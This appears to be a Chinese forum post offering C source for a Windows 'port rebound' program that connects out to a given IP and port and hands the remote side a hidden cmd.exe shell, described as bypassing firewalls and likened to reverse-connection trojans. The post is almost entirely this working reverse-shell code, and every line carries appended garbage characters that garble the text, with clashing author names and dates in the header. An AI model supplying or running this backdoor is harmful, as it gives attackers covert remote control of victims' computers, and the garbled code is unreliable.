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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i<=@ 7W  
@h ^5*M  
/* ============================== gdkO|x  
Rebound port in Windows NT  hA/FK  
By wind,2006/7 5!y3=.j  
===============================*/ W>1\f0'  
#include LJI&j \  
#include )NyGV!Zuu  
Zsf<)Vx  
#pragma comment(lib,"wsock32.lib") guFR5>-L  
=YPWt>\a}  
void OutputShell(); Yz%=  
SOCKET sClient; A.z~wu%(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [~jh Ov^  
tK8\Ib J  
void main(int argc,char **argv) ?%;uR#4  
{ Xwx;m/  
WSADATA stWsaData;  hi.{  
int nRet; ;B1}so1]  
SOCKADDR_IN stSaiClient,stSaiServer; lkw[Z}\  
M_*w)<  
if(argc != 3) e@ F& /c  
{ yChC&kX Z+  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7a@V2cr@  
return; ,ew<T{PL  
} ",~3&wx  
EE%OD~u&9#  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4H\O&pSS  
#2cH.`ty  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *23  
q)@.f.  
stSaiClient.sin_family = AF_INET; O`@$YXuD  
stSaiClient.sin_port = htons(0); EDnmYaa)dZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !)LR41>?  
zb;2xTH+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;q$<]X_S)}  
{ $xloB  
printf("Bind Socket Failed!\n"); <`M Hra8  
return; >6<g5ps.n  
} KP:O]520  
U*6-Y%7  
stSaiServer.sin_family = AF_INET; @br%:Nt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L^ +0K}eD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 75^-93  
gHox{*hb[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mZq*o<kTA  
{ 4J I;NN  
printf("Connect Error!"); !gT6S o  
return; !;R{-  
} ?B h}  
OutputShell(); ~t#'X8.)  
} qqkZbsN  
lgnF\)  
void OutputShell() -lAA,}&+!  
{ rylllJz|L:  
char szBuff[1024]; Gg-<3z  
SECURITY_ATTRIBUTES stSecurityAttributes; ,t)mCgbcO  
OSVERSIONINFO stOsversionInfo; Z?v9ub~%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SM^6+L"BE  
STARTUPINFO stStartupInfo; y()#FRp7  
char *szShell; O+'Pq,hn  
PROCESS_INFORMATION stProcessInformation; +x+H(of.  
unsigned long lBytesRead; "bw4 {pa+  
m6 IZG l7%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kSI,Q!e\  
ZS}2(t   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EoOrA@N  
stSecurityAttributes.lpSecurityDescriptor = 0; (tVY /(~#  
stSecurityAttributes.bInheritHandle = TRUE; !N)oi $T%  
Qh{=Z^r  
b!`:|!7r'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'fg`td  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); w$& 10  
[&Qrk8EN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'nCBLc8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bk>M4l61  
stStartupInfo.wShowWindow = SW_HIDE; w5&UG/z%l  
stStartupInfo.hStdInput = hReadPipe; 4!monaB"e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6 #QS 5  
?=PQQx2_*u  
GetVersionEx(&stOsversionInfo); G LE`ba  
{8UBxFIM(  
switch(stOsversionInfo.dwPlatformId) ^U`[P@T  
{ ;>CmVC'/  
case 1: "ENgu/A!  
szShell = "command.com"; <:%Iq13D  
break; YJ:CqTy  
default: Duz}e80  
szShell = "cmd.exe"; NghQ#c  
break; 2+Fq'!  
} 8, WQ}cC  
}Y-f+qX*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9OTw6  
31bKgU{  
send(sClient,szMsg,77,0); Q)Ppx7)  
while(1) KIuYWr7&  
{ rW1 > t+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \!631FcQ   
if(lBytesRead) 3g5i5 G\  
{ qed; UyN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =Qz 8"rt#  
send(sClient,szBuff,lBytesRead,0); f[dwu39k  
} ]Mtb~^joG  
else t[^}/ S  
{ <rCl  
lBytesRead=recv(sClient,szBuff,1024,0); YjsaTdZ!&  
if(lBytesRead<=0) break; "5>p]u>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v3hNvcMpf  
} ;vd%=vR  
} @9QHv  
0<o#;ZQ]  
return; 1`h`-dqr#  
}
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